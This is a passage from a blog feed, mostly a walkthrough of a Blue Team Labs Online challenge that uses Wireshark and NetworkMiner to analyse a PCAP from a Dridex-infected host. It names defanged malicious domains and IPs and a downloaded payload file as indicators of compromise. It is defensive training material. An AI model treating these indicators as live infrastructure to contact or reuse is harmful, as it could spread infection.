References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;REMnux:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.remnux.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Scalpel:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/sleuthkit/scalpel&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/sleuthkit/scalpel&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Photorec:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.cgsecurity.org/wiki/PhotoRec&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.cgsecurity.org/wiki/PhotoRec&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft File Formats:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://support.microsoft.com/en-us/office/learn-about-file-formats-56dc3b55-7681-402e-a727-c59fa0884b30#:~:text=docx%20file%20is%20an%20Open%20XML%20formatted%20Microsoft%20Word%20document&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://support.microsoft.com/en-us/office/learn-about-file-formats-56dc3b55-7681-402e-a727-c59fa0884b30#:~:text=docx%20file%20is%20an%20Open%20XML%20formatted%20Microsoft%20Word%20document&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wikipedia Office Open XML:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Office_Open_XML&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://en.wikipedia.org/wiki/Office_Open_XML&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;OLEID:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/decalage2/oletools/wiki/oleid&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/decalage2/oletools/wiki/oleid&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Zipdump.py:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://blog.didierstevens.com/2020/07/27/update-zipdump-py-version-0-0-20/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blog.didierstevens.com/2020/07/27/update-zipdump-py-version-0-0-20/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;SANS XML Document:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://isc.sans.edu/diary/An&amp;#43;XMLObfuscated&amp;#43;Office&amp;#43;Document&amp;#43;CVE202140444/27860&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://isc.sans.edu/diary/An+XMLObfuscated+Office+Document+CVE202140444/27860&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CyberChef:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;PDF Parser:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://blog.didierstevens.com/programs/pdf-tools/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blog.didierstevens.com/programs/pdf-tools/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;URL Percent Encoding:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.w3schools.com/tags/ref_urlencode.ASP&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.w3schools.com/tags/ref_urlencode.ASP&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Copilot:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://copilot.microsoft.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://copilot.microsoft.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Ask Ubuntu:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://askubuntu.com/questions/1279716/how-to-open-dd-file-to-analyze-it&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://askubuntu.com/questions/1279716/how-to-open-dd-file-to-analyze-it&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Blue Team Labs Online  — Network Analysis  - Malware Compromise Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/blue-team-labs-online-network-analysis-malware-compromise-challenge-walkthrough/</link>
            <pubDate>Sun, 09 Jun 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/blue-team-labs-online-network-analysis-malware-compromise-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-malware-compromise-challenge-walkthrough/7fc18a432db487a053ddf7a301a3bcd5_MD5.png&#34; alt=&#34;Featured image of post Blue Team Labs Online  — Network Analysis  - Malware Compromise Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;blue-team-labs-onlinenetwork-analysismalware-compromise-challenge-walkthrough&#34;&gt;Blue Team Labs Online — Network Analysis — Malware Compromise Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;analyzing-pcap-files-with-wireshark-and-networkminer&#34;&gt;Analyzing PCAP files with Wireshark and NetworkMiner&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;7fc18a432db487a053ddf7a301a3bcd5_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;398px&#34; data-flex-grow=&#34;165&#34; height=&#34;463&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-malware-compromise-challenge-walkthrough/7fc18a432db487a053ddf7a301a3bcd5_MD5.png&#34; width=&#34;768&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blueteamlabs.online/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! Have you ever been curious about analyzing a network &lt;em&gt;packet capture&lt;/em&gt; (&lt;strong&gt;PCAP)&lt;/strong&gt; file to investigate malicious traffic from a malware infected computer?&lt;/p&gt;&#xA;&lt;p&gt;Well, we’re about to explore some &lt;em&gt;PCAP&lt;/em&gt; analysis by tackling the &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/network-analysis-malware-compromise-e882f32908&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Network Analysis — Malware Compromise&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Blue Teams Labs Online&lt;/strong&gt;&lt;/a&gt;! This is an incident response challenge that has us defenders investigating a &lt;em&gt;PCAP&lt;/em&gt; file taken from an endpoint infected with the &lt;em&gt;Dridex&lt;/em&gt; malware_._&lt;/p&gt;&#xA;&lt;p&gt;To tackle this investigation, we’re going to leverage &lt;em&gt;Wireshark&lt;/em&gt; and &lt;em&gt;NetworkMiner&lt;/em&gt; for the analysis. So, whether you’re here to learn more about &lt;em&gt;PCAP&lt;/em&gt; analysis, see some practical use of these tools, or are just looking for a reference walkthrough for the &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/network-analysis-malware-compromise-e882f32908&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Network Analysis — Malware Compromise&lt;/strong&gt;&lt;/a&gt;, you’ve stumbled on the right blog.&lt;/p&gt;&#xA;&lt;p&gt;Now, let’s put on our detective hats and have some fun with forensics! Thanks for reading along!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/network-analysis-malware-compromise-e882f32908&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blueteamlabs.online/home/challenge/network-analysis-malware-compromise-e882f32908&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;A SOC Analyst at Umbrella Corporation is going through SIEM alerts and sees the alert for connections to a known malicious domain. The traffic is coming from Sara’s computer, an Accountant who receives a large volume of emails from customers daily. Looking at the email gateway logs for Sara’s mailbox there is nothing immediately suspicious, with emails coming from customers. Sara is contacted via her phone and she states a customer sent her an invoice that had a document with a macro, she opened the email and the program crashed. The SOC Team retrieved a PCAP for further analysis.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;warning-about-working-with-malicious-files--dridex-background&#34;&gt;Warning about working with malicious files &amp;amp; Dridex background:&#xA;&lt;/h3&gt;&lt;p&gt;Safety first — It’s always important when working with lab/challenge files from &lt;em&gt;Blue Team Labs Online (or any educational lab/challenge/range)&lt;/em&gt; to keep yourself safe by performing these tasks in a dedicated, isolated virtual machine environment. Even for educational purposes, we are working with potentially malicious files, after all.&lt;/p&gt;&#xA;&lt;p&gt;Now, let’s also set the stage with some background information on the &lt;em&gt;Dridex&lt;/em&gt; malware from &lt;a class=&#34;link&#34; href=&#34;https://malpedia.caad.fkie.fraunhofer.de/details/win.dridex&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Malpedia&lt;/strong&gt;&lt;/a&gt; to enrich the scenario:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Dridex as “an evasive, information-stealing malware variant; its goal is to acquire as many credentials as possible and return them via an encrypted tunnel to a Command-and-Control (C&amp;amp;C) server. These C&amp;amp;C servers are numerous and scattered all over the Internet, if the malware cannot reach one server it will try another…”&#xA;According to MalwareBytes, “Dridex uses an older tactic of infection by attaching a Word document that utilizes macros to install malware…”&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;That isn’t good! Now that we have some context on the malware and our virtual environment created, updated, isolated, and snapshotted, we can download and extract our challenge file and get to work!&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-1-whats-the-private-ip-of-the-infectedhost&#34;&gt;Question 1: What’s the private IP of the infected host?&#xA;&lt;/h3&gt;&lt;p&gt;To start this off, let’s open up &lt;em&gt;Wireshark&lt;/em&gt; and load the challenge &lt;strong&gt;PCAP&lt;/strong&gt; file — We’re going to focus on the first packet (№. 1) in the list. Check out the &lt;strong&gt;source IP&lt;/strong&gt; (&lt;em&gt;10.11.27.101&lt;/em&gt;) performing a DNS query to the DNS server (&lt;em&gt;10.11.27.1&lt;/em&gt;) for the domain &lt;em&gt;klychenogg[.]com&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;8f21f2f5c664f03ac9e7318586e92eb8_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2666px&#34; data-flex-grow=&#34;1111&#34; height=&#34;108&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-malware-compromise-challenge-walkthrough/8f21f2f5c664f03ac9e7318586e92eb8_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-malware-compromise-challenge-walkthrough/8f21f2f5c664f03ac9e7318586e92eb8_MD5_hu_f9c592b6de9fa026.png 800w, https://stumblesec.com/posts/blue-team-labs-online-network-analysis-malware-compromise-challenge-walkthrough/8f21f2f5c664f03ac9e7318586e92eb8_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We can’t be sure yet this is the infected host we are looking for until we look at the &lt;a class=&#34;link&#34; href=&#34;https://wiki.wireshark.org/TCP_3_way_handshaking/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;TCP three-way handshake&lt;/em&gt;&lt;/a&gt; where the source IP (10.11.27.101) connects to 95[.]181[.]198[.]231 (which resolves to klychenogg[.]com).&lt;/p&gt;&#xA;&lt;p&gt;After the host establishes a connection with the server, we observe a strange file in the HTTP GET request (packet #6.) Let’s jump over and search for this domain on &lt;em&gt;VirusTotal:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ac1abba37d1b2e1c161396fa2fa7c736_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1476px&#34; data-flex-grow=&#34;615&#34; height=&#34;130&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-malware-compromise-challenge-walkthrough/ac1abba37d1b2e1c161396fa2fa7c736_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay! So, we’ve got some hits on this domain which gives us some additional context and confidence that this host is communicating with a malicious domain. It is likely that this is the infected source IP that we are searching for to answer &lt;strong&gt;Question 1.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;But let’s look at this with another view in &lt;em&gt;Wireshark&lt;/em&gt; to double-check what the traffic utilization of this IP address is overall. To do this, we can utilize the &lt;em&gt;Statistics&lt;/em&gt; &amp;gt; &lt;em&gt;Endpoints&lt;/em&gt; view in &lt;em&gt;Wireshark.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;4c319acf862718192d61d87799540f7d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;637px&#34; data-flex-grow=&#34;265&#34; height=&#34;301&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-malware-compromise-challenge-walkthrough/4c319acf862718192d61d87799540f7d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here we will see all the endpoints from this packet capture. Looking at the suspected host IP, we can confirm that it has the lion’s share of traffic compared to the other hosts. Let’s submit the answer and check our work.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;fcecf3d63935e45d6a19a5d641080ea2_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2526px&#34; data-flex-grow=&#34;1052&#34; height=&#34;76&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-malware-compromise-challenge-walkthrough/fcecf3d63935e45d6a19a5d641080ea2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-whats-the-malware-binary-that-the-macro-document-is-trying-to-retrieve&#34;&gt;Question 2: What’s the malware binary that the macro document is trying to retrieve?&#xA;&lt;/h3&gt;&lt;p&gt;We may have already stumbled across the answer during our analysis of &lt;strong&gt;Question 1.&lt;/strong&gt; But let’s go ahead and follow the TCP stream starting with the SYN packet of the three-way handshake (&lt;em&gt;packet #3&lt;/em&gt;.)&lt;/p&gt;&#xA;&lt;p&gt;To do this, click the row of the packet, right click it, and select &lt;em&gt;Follow &amp;gt; TCP Stream.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;57f387eb41d76e18cc38f5e1878e66a8_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1185px&#34; data-flex-grow=&#34;493&#34; height=&#34;162&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-malware-compromise-challenge-walkthrough/57f387eb41d76e18cc38f5e1878e66a8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, in the &lt;em&gt;TCP Stream&lt;/em&gt; view and we see that the victim host requested the file “&lt;em&gt;spet10.spr&lt;/em&gt;” from this server.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;34aeb29f3f018687804190357971af6c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;281px&#34; data-flex-grow=&#34;117&#34; height=&#34;682&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-malware-compromise-challenge-walkthrough/34aeb29f3f018687804190357971af6c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;According to the &lt;a class=&#34;link&#34; href=&#34;https://www.cisa.gov/news-events/cybersecurity-advisories/aa19-339a&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;United States Cybersecurity &amp;amp; Infrastructure Security Agency (CISA&lt;/em&gt;&lt;/a&gt;&lt;em&gt;,)&lt;/em&gt; this technique is consistent with the &lt;em&gt;Dridex&lt;/em&gt; malware:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Many of the files, rather than containing the actual malware, contain hidden or obfuscated macros. Upon activation, the macros reach to a command and control server, FTP server, or cloud storage site to download the actual Dridex malware.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;eb7542762d15668bc417a54cbabd60b8_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2285px&#34; data-flex-grow=&#34;952&#34; height=&#34;84&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-malware-compromise-challenge-walkthrough/eb7542762d15668bc417a54cbabd60b8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-from-what-domain-http-requests-with-get-images-are-comingfrom&#34;&gt;Question 3: From what domain HTTP requests with GET /images/ are coming from?&#xA;&lt;/h3&gt;&lt;p&gt;For &lt;strong&gt;Question 3&lt;/strong&gt; let’s try something a little different; instead of just using one utility, why don’t we add another one to the toolkit to compare the differences?&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;em&gt;Wireshark&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.netresec.com/?page=NetworkMiner&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;NetworkMiner&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;We’ll start with &lt;em&gt;Wireshark.&lt;/em&gt; Let’s do a simple string search with the “&lt;em&gt;find packet&lt;/em&gt;” function. We can access this function through &lt;strong&gt;Edit &amp;gt; Find Packet&lt;/strong&gt; OR by pressing the magnifying glass above the display filter field. Then, we can search for the “/images” to locate the requests that contain this string.&lt;/p&gt;&#xA;&lt;p&gt;We’ll see that the first hit lists the request URI with the domain we are looking for down in the packet details pane.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;730948506ed9f5e327de41f4d041af8d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;379px&#34; data-flex-grow=&#34;158&#34; height=&#34;759&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-malware-compromise-challenge-walkthrough/730948506ed9f5e327de41f4d041af8d_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-malware-compromise-challenge-walkthrough/730948506ed9f5e327de41f4d041af8d_MD5_hu_cde04f4ae9a05b1e.png 800w, https://stumblesec.com/posts/blue-team-labs-online-network-analysis-malware-compromise-challenge-walkthrough/730948506ed9f5e327de41f4d041af8d_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The second option is to leverage the tool, &lt;em&gt;NetworkMiner.&lt;/em&gt; &lt;em&gt;NetworkMiner&lt;/em&gt; is another powerful network forensic tool that can extract artifacts from &lt;em&gt;PCAP&lt;/em&gt; files and display them in an easy-to-understand format with robust sorting and filtering capabilities.&lt;/p&gt;&#xA;&lt;p&gt;Let’s search &lt;em&gt;NetworkMiner&lt;/em&gt; for the same information that we found earlier with &lt;em&gt;Wireshark.&lt;/em&gt; To do this, open &lt;em&gt;NetworkMiner&lt;/em&gt;, load the &lt;em&gt;PCAP&lt;/em&gt; file, and then press &lt;strong&gt;Parameters.&lt;/strong&gt; In the &lt;em&gt;Filter keyword&lt;/em&gt; box, input “&lt;em&gt;/images&lt;/em&gt;.”&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;e90c1ea17680e4faefa3e5a8efbf88df_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1257px&#34; data-flex-grow=&#34;524&#34; height=&#34;229&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-malware-compromise-challenge-walkthrough/e90c1ea17680e4faefa3e5a8efbf88df_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-malware-compromise-challenge-walkthrough/e90c1ea17680e4faefa3e5a8efbf88df_MD5_hu_15868c1852be0305.png 800w, https://stumblesec.com/posts/blue-team-labs-online-network-analysis-malware-compromise-challenge-walkthrough/e90c1ea17680e4faefa3e5a8efbf88df_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we have filtered our results, we can see three entries from our search. If we focus on the &lt;em&gt;Destination host&lt;/em&gt; tab, we will see the request domain. While finding the same information with both tools, it’s still useful to understand the different capabilities between the two applications and how they present the data.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;822a53d6365368609f792336d4f5e790_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2400px&#34; data-flex-grow=&#34;1000&#34; height=&#34;80&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-malware-compromise-challenge-walkthrough/822a53d6365368609f792336d4f5e790_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-the-soc-team-found-dridex-a-follow-up-malware-from-ursnif-infection-to-be-the-culprit-the-customer-who-sent-her-the-macro-file-is-compromised-whats-the-full-url-ending-inrar-where-ursnif-retrieves-the-follow-up-malwarefrom&#34;&gt;Question 4: The SOC Team found Dridex, a follow-up malware from Ursnif infection, to be the culprit. The customer who sent her the macro file is compromised. What’s the full URL ending in .rar where Ursnif retrieves the follow-up malware from?&#xA;&lt;/h3&gt;&lt;p&gt;For &lt;strong&gt;Question 4&lt;/strong&gt;, we’ll again use both &lt;em&gt;Wireshark&lt;/em&gt; and &lt;em&gt;NetworkMiner&lt;/em&gt; to hunt for the second stage &lt;em&gt;RAR&lt;/em&gt; file in the &lt;em&gt;PCAP.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;In &lt;em&gt;Wireshark&lt;/em&gt;, we’ll do another simple string search like we did in &lt;strong&gt;Question 3&lt;/strong&gt; but this time we will search for “&lt;em&gt;.rar&lt;/em&gt;”&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;86135e642c5a214ec46ead2c2f4d18a7_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;454px&#34; data-flex-grow=&#34;189&#34; height=&#34;634&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-malware-compromise-challenge-walkthrough/86135e642c5a214ec46ead2c2f4d18a7_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-malware-compromise-challenge-walkthrough/86135e642c5a214ec46ead2c2f4d18a7_MD5_hu_93d4f6fab87db613.png 800w, https://stumblesec.com/posts/blue-team-labs-online-network-analysis-malware-compromise-challenge-walkthrough/86135e642c5a214ec46ead2c2f4d18a7_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Take a look at the &lt;em&gt;Full request URI&lt;/em&gt; in the packet details pane. This is the URL that we are looking for!&lt;/p&gt;&#xA;&lt;p&gt;From the &lt;em&gt;NetworkMiner&lt;/em&gt; perspective, click on the &lt;em&gt;Files&lt;/em&gt; tab then, in the &lt;em&gt;Filter keyword&lt;/em&gt; box, input “&lt;em&gt;.rar” —&lt;/em&gt; Now check the &lt;em&gt;Details&lt;/em&gt; tab, we will see the same URI that we found with &lt;em&gt;Wireshark&lt;/em&gt;!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6013c7519c0ead000d323babba40ddc9_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1465px&#34; data-flex-grow=&#34;610&#34; height=&#34;131&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-malware-compromise-challenge-walkthrough/6013c7519c0ead000d323babba40ddc9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;46bfba051af03d86acbc3f734ae84367_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2086px&#34; data-flex-grow=&#34;869&#34; height=&#34;92&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-malware-compromise-challenge-walkthrough/46bfba051af03d86acbc3f734ae84367_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-dridex-post-infection-traffic-ip-addresses-beginning-with-1854points&#34;&gt;Question 5: What is the Dridex post-infection traffic IP addresses beginning with 185.? &lt;em&gt;(4 points)&lt;/em&gt;&#xA;&lt;/h3&gt;&lt;p&gt;Okay, last question! We know that the &lt;em&gt;Dridex malware&lt;/em&gt; on the victim’s machine is communicating with a &lt;em&gt;command-and-control&lt;/em&gt; IP address beginning with 185. We just need to find the full IP.&lt;/p&gt;&#xA;&lt;p&gt;We’ll start by filtering for destination IP addresses to locate the valid &lt;em&gt;indicator of compromise&lt;/em&gt; (IOC). We did this earlier in &lt;strong&gt;Question 1&lt;/strong&gt; but let’s open &lt;em&gt;Wireshark&lt;/em&gt; and use the &lt;em&gt;Statistics &amp;gt; Endpoints&lt;/em&gt; view again. This will help us locate two IP addresses beginning with 185.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;4c319acf862718192d61d87799540f7d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;637px&#34; data-flex-grow=&#34;265&#34; height=&#34;301&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-malware-compromise-challenge-walkthrough/4c319acf862718192d61d87799540f7d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let’s see if we can get any more information about these IP addresses with &lt;em&gt;NetworkMiner.&lt;/em&gt; In &lt;em&gt;NetworkMiner,&lt;/em&gt; we just need to visit the &lt;strong&gt;Hosts&lt;/strong&gt; tab. 